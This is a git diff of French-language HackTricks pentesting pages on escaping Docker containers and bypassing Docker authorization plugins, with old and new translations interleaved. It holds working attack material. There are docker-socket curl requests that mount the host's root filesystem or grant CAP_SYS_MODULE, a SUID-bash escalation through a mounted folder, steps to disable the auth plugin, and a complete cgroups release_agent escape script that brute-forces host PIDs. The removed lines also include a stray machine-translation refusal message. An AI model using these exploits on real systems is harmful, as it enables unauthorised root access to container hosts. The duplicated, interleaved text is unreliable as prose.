docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
|
||||
```
|
||||
Maintenant, l'utilisateur peut s'échapper du conteneur en utilisant l'une des [**techniques précédemment discutées**](./#privileged-flag) et **élever les privilèges** à l'intérieur de l'hôte.
|
||||
Maintenant, l'utilisateur peut s'échapper du conteneur en utilisant l'une des [**techniques précédemment discutées**](./#privileged-flag) et **élever ses privilèges** à l'intérieur de l'hôte.
|
||||
|
||||
## Monter un dossier inscriptible
|
||||
## Monter un Dossier Modifiable
|
||||
|
||||
Dans ce cas, l'administrateur système a **interdit aux utilisateurs d'exécuter des conteneurs avec le drapeau `--privileged`** ou de donner des capacités supplémentaires au conteneur, et il a seulement autorisé le montage du dossier `/tmp`:
|
||||
Dans ce cas, le sysadmin a **interdit aux utilisateurs d'exécuter des conteneurs avec l'option `--privileged`** ou de donner des capacités supplémentaires au conteneur, et il a seulement autorisé le montage du dossier `/tmp` :
|
||||
```bash
|
||||
host> cp /bin/bash /tmp #Cerate a copy of bash
|
||||
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
|
||||
docker container> chown root:root /host/bash
|
||||
docker container> chmod u+s /host/bash
|
||||
host> /tmp/bash
|
||||
-p #This will give you a shell as root
|
||||
-p #This will give you a shell as root
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Notez que vous ne pouvez peut-être pas monter le dossier `/tmp`, mais vous pouvez monter un **dossier différent accessible en écriture**. Vous pouvez trouver des répertoires accessibles en écriture en utilisant la commande : `find / -writable -type d 2>/dev/null`
|
||||
Notez que vous ne pouvez peut-être pas monter le dossier `/tmp` mais vous pouvez monter un **dossier inscriptible différent**. Vous pouvez trouver des répertoires inscriptibles en utilisant : `find / -writable -type d 2>/dev/null`
|
||||
|
||||
**Notez que tous les répertoires d'une machine Linux ne prendront pas en charge le bit suid !** Pour vérifier quels répertoires prennent en charge le bit suid, exécutez la commande `mount | grep -v "nosuid"`. Par exemple, généralement `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` et `/var/lib/lxcfs` ne prennent pas en charge le bit suid.
|
||||
**Notez que tous les répertoires d'une machine linux ne supporteront pas le bit suid !** Pour vérifier quels répertoires supportent le bit suid, exécutez `mount | grep -v "nosuid"`. Par exemple, généralement `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` et `/var/lib/lxcfs` ne supportent pas le bit suid.
|
||||
|
||||
Notez également que si vous pouvez **monter `/etc`** ou tout autre dossier **contenant des fichiers de configuration**, vous pouvez les modifier depuis le conteneur Docker en tant que root pour **les exploiter sur l'hôte** et escalader les privilèges (peut-être en modifiant `/etc/shadow`).
|
||||
Notez également que si vous pouvez **monter `/etc`** ou tout autre dossier **contenant des fichiers de configuration**, vous pouvez les modifier depuis le conteneur docker en tant que root afin de **les exploiter sur l'hôte** et escalader les privilèges (peut-être en modifiant `/etc/shadow`)
|
||||
{% endhint %}
|
||||
|
||||
## Point d'extrémité API non vérifié
|
||||
## Point de terminaison API non vérifié
|
||||
|
||||
La responsabilité de l'administrateur système configurant ce plugin serait de contrôler les actions et les privilèges que chaque utilisateur peut effectuer. Par conséquent, si l'administrateur prend une approche de **liste noire** avec les points d'extrémité et les attributs, il pourrait **oublier certains d'entre eux** qui pourraient permettre à un attaquant d'**escalader les privilèges**.
|
||||
La responsabilité de l'administrateur système configurant ce plugin serait de contrôler quelles actions et avec quels privilèges chaque utilisateur peut effectuer. Par conséquent, si l'administrateur adopte une approche de **liste noire** avec les points de terminaison et les attributs, il pourrait **en oublier certains** qui pourraient permettre à un attaquant d'**escalader les privilèges.**
|
||||
|
||||
Vous pouvez vérifier l'API Docker sur [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#)
|
||||
Vous pouvez vérifier l'API docker sur [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#)
|
||||
|
||||
## Structure JSON non vérifiée
|
||||
|
||||
### Liens dans la racine
|
||||
### Binds in root
|
||||
|
||||
Il est possible que lorsque l'administrateur système a configuré le pare-feu Docker, il ait **oublié un paramètre important** de l' [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) comme "**Liens**".\
|
||||
Il est possible que lorsque l'administrateur système a configuré le pare-feu docker, il ait **oublié certains paramètres importants** de l'[**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) comme "**Binds**".\
|
||||
Dans l'exemple suivant, il est possible d'exploiter cette mauvaise configuration pour créer et exécuter un conteneur qui monte le dossier racine (/) de l'hôte :
|
||||
```bash
|
||||
docker version #First, find the API version of docker, 1.40 in this example
|
||||
|
@ -132,30 +130,30 @@ docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
|
|||
#You can access the host filesystem
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Notez comment dans cet exemple, nous utilisons le paramètre **`Binds`** en tant que clé de niveau racine dans le JSON, mais dans l'API, il apparaît sous la clé **`HostConfig`**
|
||||
Notez que dans cet exemple, nous utilisons le paramètre **`Binds`** comme clé de niveau racine dans le JSON, mais dans l'API, il apparaît sous la clé **`HostConfig`**.
|
||||
{% endhint %}
|
||||
|
||||
### Binds dans HostConfig
|
||||
|
||||
Suivez les mêmes instructions que pour **Binds dans root** en effectuant cette **requête** à l'API Docker:
|
||||
Suivez les mêmes instructions que pour **Binds à la racine** en effectuant cette **requête** à l'API Docker :
|
||||
```bash
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create
|
||||
```
|
||||
### Montages dans la racine
|
||||
### Montages dans root
|
||||
|
||||
Suivez les mêmes instructions que pour les **liens dans la racine** en effectuant cette **requête** à l'API Docker:
|
||||
Suivez les mêmes instructions que pour **Binds in root** en effectuant cette **requête** à l'API Docker :
|
||||
```bash
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create
|
||||
```
|
||||
### Montages dans HostConfig
|
||||
|
||||
Suivez les mêmes instructions que pour les **liens dans root** en effectuant cette **requête** à l'API Docker:
|
||||
Suivez les mêmes instructions que pour **Binds in root** en effectuant cette **requête** à l'API Docker :
|
||||
```bash
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre
|
||||
```
|
||||
## Attribut JSON non vérifié
|
||||
|
||||
Il est possible que lorsque l'administrateur système a configuré le pare-feu Docker, il ait **oublié un attribut important d'un paramètre de l'API** (https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) tel que "**Capabilities**" à l'intérieur de "**HostConfig**". Dans l'exemple suivant, il est possible d'exploiter cette mauvaise configuration pour créer et exécuter un conteneur avec la capacité **SYS\_MODULE** :
|
||||
Il est possible que lorsque le sysadmin a configuré le pare-feu docker, il a **oublié un attribut important d'un paramètre** de l'[**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) comme "**Capabilities**" à l'intérieur de "**HostConfig**". Dans l'exemple suivant, il est possible d'abuser de cette mauvaise configuration pour créer et exécuter un conteneur avec la capacité **SYS\_MODULE** :
|
||||
```bash
|
||||
docker version
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
|
||||
|
@ -166,12 +164,12 @@ capsh --print
|
|||
#You can abuse the SYS_MODULE capability
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Le **`HostConfig`** est la clé qui contient généralement les **privilèges intéressants** pour s'échapper du conteneur. Cependant, comme nous l'avons discuté précédemment, notez que l'utilisation de **Binds** en dehors de celui-ci fonctionne également et peut vous permettre de contourner les restrictions.
|
||||
La clé **`HostConfig`** contient généralement les **privilèges** **intéressants** pour s'échapper du conteneur. Cependant, comme nous l'avons déjà discuté, notez que l'utilisation de Binds en dehors de cela fonctionne également et peut vous permettre de contourner les restrictions.
|
||||
{% endhint %}
|
||||
|
||||
## Désactivation du plugin
|
||||
## Désactivation du Plugin
|
||||
|
||||
Si l'**administrateur système** a **oublié** d'**interdire** la possibilité de **désactiver** le **plugin**, vous pouvez en profiter pour le désactiver complètement !
|
||||
Si le **sysadmin** a **oublié** d'**interdire** la capacité de **désactiver** le **plugin**, vous pouvez en profiter pour le désactiver complètement !
|
||||
```bash
|
||||
docker plugin list #Enumerate plugins
|
||||
|
||||
|
@ -183,7 +181,7 @@ docker plugin disable authobot
|
|||
docker run --rm -it --privileged -v /:/host ubuntu bash
|
||||
docker plugin enable authobot
|
||||
```
|
||||
N'oubliez pas de **réactiver le plugin après l'escalade**, sinon un **redémarrage du service docker ne fonctionnera pas**!
|
||||
N'oubliez pas de **réactiver le plugin après l'escalade**, sinon un **redémarrage du service docker ne fonctionnera pas** !
|
||||
|
||||
## Auth Plugin Bypass writeups
|
||||
|
||||
|
@ -196,16 +194,14 @@ N'oubliez pas de **réactiver le plugin après l'escalade**, sinon un **redémar
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> !</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,49 +1,45 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Introduction
|
||||
|
||||
Les PoCs précédents fonctionnent bien lorsque le conteneur est configuré avec un pilote de stockage qui expose le **chemin complet de l'hôte du point de montage**, par exemple `overlayfs`, cependant il existe des configurations qui n'ont **pas clairement divulgué le point de montage du système de fichiers hôte**.
|
||||
Les précédents PoCs fonctionnent bien lorsque le conteneur est configuré avec un storage-driver qui expose **le chemin complet du point de montage sur l'hôte**, par exemple `overlayfs`, cependant il existe des configurations qui ne révèlent **pas clairement le point de montage du système de fichiers de l'hôte**.
|
||||
|
||||
Dans ce PoC, au lieu d'utiliser le chemin où se trouve le conteneur à l'intérieur du système de fichiers de l'hôte, nous allons découvrir un PID de conteneur à l'intérieur de l'hôte.
|
||||
Dans ce PoC, au lieu d'utiliser le chemin où le conteneur est situé dans le système de fichiers de l'hôte, nous allons découvrir un PID de conteneur à l'intérieur de l'hôte
|
||||
|
||||
## Exemples de conteneurs ne divulguant pas l'emplacement du chemin à l'intérieur de l'hôte
|
||||
## Exemples de conteneur ne révélant pas l'emplacement du chemin à l'intérieur de l'hôte
|
||||
|
||||
### Kata Containers
|
||||
```
|
||||
root@container:~$ head -1 /etc/mtab
|
||||
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
|
||||
```
|
||||
Par défaut, [Kata Containers](https://katacontainers.io) monte le système de fichiers racine d'un conteneur sur `9pfs`. Cela ne divulgue aucune information sur l'emplacement du système de fichiers du conteneur dans la machine virtuelle Kata Containers.
|
||||
[Kata Containers](https://katacontainers.io) monte par défaut le système de fichiers racine d'un conteneur via `9pfs`. Cela ne révèle aucune information sur l'emplacement du système de fichiers du conteneur dans la machine virtuelle Kata Containers.
|
||||
|
||||
### Device Mapper
|
||||
```
|
||||
root@container:~$ head -1 /etc/mtab
|
||||
/dev/sdc / ext4 rw,relatime,stripe=384 0 0
|
||||
```
|
||||
J'ai vu un conteneur avec ce montage racine dans un environnement en direct, je crois que le conteneur fonctionnait avec une configuration de pilote de stockage `devicemapper` spécifique, mais à ce stade, je n'ai pas été en mesure de reproduire ce comportement dans un environnement de test.
|
||||
|
||||
# PoC
|
||||
|
||||
La seule information clé requise est le **chemin complet, relatif à l'hôte du conteneur, d'un fichier à exécuter dans le conteneur**. Sans être en mesure de discerner cela à partir des points de montage dans le conteneur, nous devons chercher ailleurs.
|
||||
La seule information clé nécessaire est le **chemin complet, relatif à l'hôte du conteneur, d'un fichier à exécuter à l'intérieur du conteneur**. Sans pouvoir déterminer cela à partir des points de montage à l'intérieur du conteneur, nous devons chercher ailleurs.
|
||||
|
||||
## /proc/\<pid>/root
|
||||
|
||||
Le pseudo-système de fichiers `/proc` de Linux expose les structures de données de processus du noyau pour tous les processus en cours d'exécution sur un système, y compris ceux s'exécutant dans différents espaces de noms, par exemple dans un conteneur. Cela peut être démontré en exécutant une commande dans un conteneur et en accédant au répertoire `/proc` du processus sur l'hôte : Conteneur
|
||||
Le pseudo-système de fichiers Linux `/proc` expose les structures de données de processus du noyau pour tous les processus en cours d'exécution sur un système, y compris ceux qui s'exécutent dans différents espaces de noms, par exemple à l'intérieur d'un conteneur. Cela peut être démontré en exécutant une commande dans un conteneur et en accédant au répertoire `/proc` du processus sur l'hôte :Conteneur
|
||||
```bash
|
||||
root@container:~$ sleep 100
|
||||
```
|
||||
|
@ -67,15 +63,15 @@ lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> /
|
|||
-rw-r--r-- 1 root root 0 Nov 19 10:29 sched
|
||||
...
|
||||
```
|
||||
À titre d'information, la structure de données `/proc/<pid>/root` m'a longtemps laissé perplexe, je ne comprenais pas pourquoi avoir un lien symbolique vers `/` était utile, jusqu'à ce que je lise la définition réelle dans les pages de manuel :
|
||||
_En passant, la structure de données `/proc/<pid>/root` est une qui m'a longtemps confondu, je n'ai jamais compris pourquoi avoir un lien symbolique vers `/` était utile, jusqu'à ce que je lise la définition réelle dans les pages de manuel :_
|
||||
|
||||
> /proc/\[pid]/root
|
||||
>
|
||||
> UNIX et Linux supportent l'idée d'une racine de système de fichiers par processus, définie par l'appel système chroot(2). Ce fichier est un lien symbolique qui pointe vers le répertoire racine du processus, et se comporte de la même manière que exe et fd/\*.
|
||||
> UNIX et Linux prennent en charge l'idée d'une racine du système de fichiers par processus, définie par l'appel système chroot(2). Ce fichier est un lien symbolique qui pointe vers le répertoire racine du processus et se comporte de la même manière que exe et fd/\*.
|
||||
>
|
||||
> Notez cependant que ce fichier n'est pas simplement un lien symbolique. Il fournit la même vue du système de fichiers (y compris les espaces de noms et l'ensemble des montages par processus) que le processus lui-même.
|
||||
|
||||
Le lien symbolique **`/proc/<pid>/root` peut être utilisé comme un chemin relatif à l'hôte vers n'importe quel fichier dans un conteneur** :
|
||||
Le **lien symbolique `/proc/<pid>/root` peut être utilisé comme un chemin relatif à l'hôte pour accéder à n'importe quel fichier à l'intérieur d'un conteneur** :
|
||||
```bash
|
||||
root@container:~$ echo findme > /findme
|
||||
root@container:~$ sleep 100
|
||||
|
@ -86,17 +82,17 @@ root@host:~$ cat /proc/`pidof sleep`/root/findme
|
|||
findme
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
**Cela change la condition requise pour l'attaque, passant de la connaissance du chemin complet, relatif à l'hôte du conteneur, d'un fichier dans le conteneur, à la connaissance du pid de n'importe quel processus en cours d'exécution dans le conteneur.**
|
||||
**Cela change la condition requise pour l'attaque de connaître le chemin complet, relatif à l'hôte du conteneur, d'un fichier à l'intérieur du conteneur, à connaître le pid de **_**n'importe quel**_** processus s'exécutant dans le conteneur.**
|
||||
{% endhint %}
|
||||
|
||||
## Bashage de Pid <a href="#pid-bashing" id="pid-bashing"></a>
|
||||
## Pid Bashing <a href="#pid-bashing" id="pid-bashing"></a>
|
||||
|
||||
C'est en fait la partie facile, les identifiants de processus dans Linux sont numériques et attribués séquentiellement. Le processus `init` est attribué à l'identifiant de processus `1` et tous les processus suivants sont attribués à des identifiants incrémentaux. Pour identifier le **pid de processus hôte d'un processus dans un conteneur, une recherche incrémentale par force brute peut être utilisée** :
|
||||
C'est en fait la partie facile, les identifiants de processus dans Linux sont numériques et attribués séquentiellement. Le processus `init` se voit attribuer l'identifiant de processus `1` et tous les processus suivants reçoivent des identifiants incrémentaux. Pour identifier **l'identifiant de processus hôte d'un processus à l'intérieur d'un conteneur, une recherche incrémentale par force brute peut être utilisée** :
|
||||
```
|
||||
root@container:~$ echo findme > /findme
|
||||
root@container:~$ sleep 100
|
||||
```
|
||||
I'm sorry, I cannot provide you with a translation without the original English text. Please provide me with the English text you want me to translate.
|
||||
Hôte
|
||||
```bash
|
||||
root@host:~$ COUNTER=1
|
||||
root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
|
||||
|
@ -105,13 +101,13 @@ root@host:~$ echo ${COUNTER}
|
|||
root@host:~$ cat /proc/${COUNTER}/root/findme
|
||||
findme
|
||||
```
|
||||
## Mettre le tout ensemble <a href="#putting-it-all-together" id="putting-it-all-together"></a>
|
||||
## Mise en œuvre complète <a href="#putting-it-all-together" id="putting-it-all-together"></a>
|
||||
|
||||
Pour mener à bien cette attaque, la technique de force brute peut être utilisée pour **deviner le PID pour le chemin `/proc/<pid>/root/payload.sh`**, avec **chaque itération** écrivant le chemin PID deviné **dans le fichier `release_agent` des cgroups, déclenchant le `release_agent`**, et vérifiant si un fichier de sortie est créé.
|
||||
Pour mener à bien cette attaque, la technique de force brute peut être utilisée pour **deviner le PID pour le chemin `/proc/<pid>/root/payload.sh`**, avec **chaque itération** écrivant le chemin du pid deviné **dans le fichier `release_agent` des cgroups, déclenchant le `release_agent`**, et vérifiant si un fichier de sortie est créé.
|
||||
|
||||
Le seul inconvénient de cette technique est qu'elle n'est en aucun cas subtile et peut augmenter considérablement le nombre de PID. Comme aucun processus de longue durée n'est maintenu en cours d'exécution, cela ne devrait pas causer de problèmes de fiabilité, mais ne me citez pas là-dessus.
|
||||
La seule mise en garde avec cette technique est qu'elle n'est en aucun cas subtile et peut augmenter considérablement le nombre de pid. Comme aucun processus de longue durée n'est maintenu actif, cela _ne devrait_ pas causer de problèmes de fiabilité, mais ne me citez pas là-dessus.
|
||||
|
||||
Le PoC ci-dessous met en œuvre ces techniques pour fournir une attaque plus générique que celle présentée initialement dans le PoC original de Felix pour s'échapper d'un conteneur privilégié en utilisant la fonctionnalité **`release_agent` des cgroups** :
|
||||
Le PoC ci-dessous met en œuvre ces techniques pour fournir une attaque plus générique que celle initialement présentée dans le PoC original de Felix pour s'échapper d'un conteneur privilégié en utilisant la fonctionnalité **`release_agent` des cgroups** :
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
@ -150,20 +146,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
|
|||
TPID=1
|
||||
while [ ! -f ${OUTPUT_PATH} ]
|
||||
do
|
||||
if [ $((${TPID} % 100)) -eq 0 ]
|
||||
then
|
||||
echo "Checking pid ${TPID}"
|
||||
if [ ${TPID} -gt ${MAX_PID} ]
|
||||
then
|
||||
echo "Exiting at ${MAX_PID} :-("
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
# Set the release_agent path to the guessed pid
|
||||
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
|
||||
# Trigger execution of the release_agent
|
||||
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
|
||||
TPID=$((${TPID} + 1))
|
||||
if [ $((${TPID} % 100)) -eq 0 ]
|
||||
then
|
||||
echo "Checking pid ${TPID}"
|
||||
if [ ${TPID} -gt ${MAX_PID} ]
|
||||
then
|
||||
echo "Exiting at ${MAX_PID} :-("
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
# Set the release_agent path to the guessed pid
|
||||
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
|
||||
# Trigger execution of the release_agent
|
||||
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
|
||||
TPID=$((${TPID} + 1))
|
||||
done
|
||||
|
||||
# Wait for and cat the output
|
||||
|
@ -171,7 +167,7 @@ sleep 1
|
|||
echo "Done! Output:"
|
||||
cat ${OUTPUT_PATH}
|
||||
```
|
||||
L'exécution du PoC dans un conteneur privilégié devrait fournir une sortie similaire à:
|
||||
L'exécution du PoC dans un conteneur privilégié devrait fournir une sortie similaire à :
|
||||
```bash
|
||||
root@container:~$ ./release_agent_pid_brute.sh
|
||||
Checking pid 100
|
||||
|
@ -206,16 +202,14 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,16 +1,33 @@
|
|||
En raison du manque de prise en charge de l'espace de noms, l'exposition de `/proc` et `/sys` offre une source de surface d'attaque et de divulgation d'informations significative. De nombreux fichiers dans `procfs` et `sysfs` offrent un risque d'évasion de conteneur, de modification de l'hôte ou de divulgation d'informations de base qui pourraient faciliter d'autres attaques.
|
||||
<details>
|
||||
|
||||
Pour exploiter ces techniques, il pourrait suffire de **mal configurer quelque chose comme `-v /proc:/host/proc`** car AppArmor ne protège pas `/host/proc` car **AppArmor est basé sur le chemin d'accès**.
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
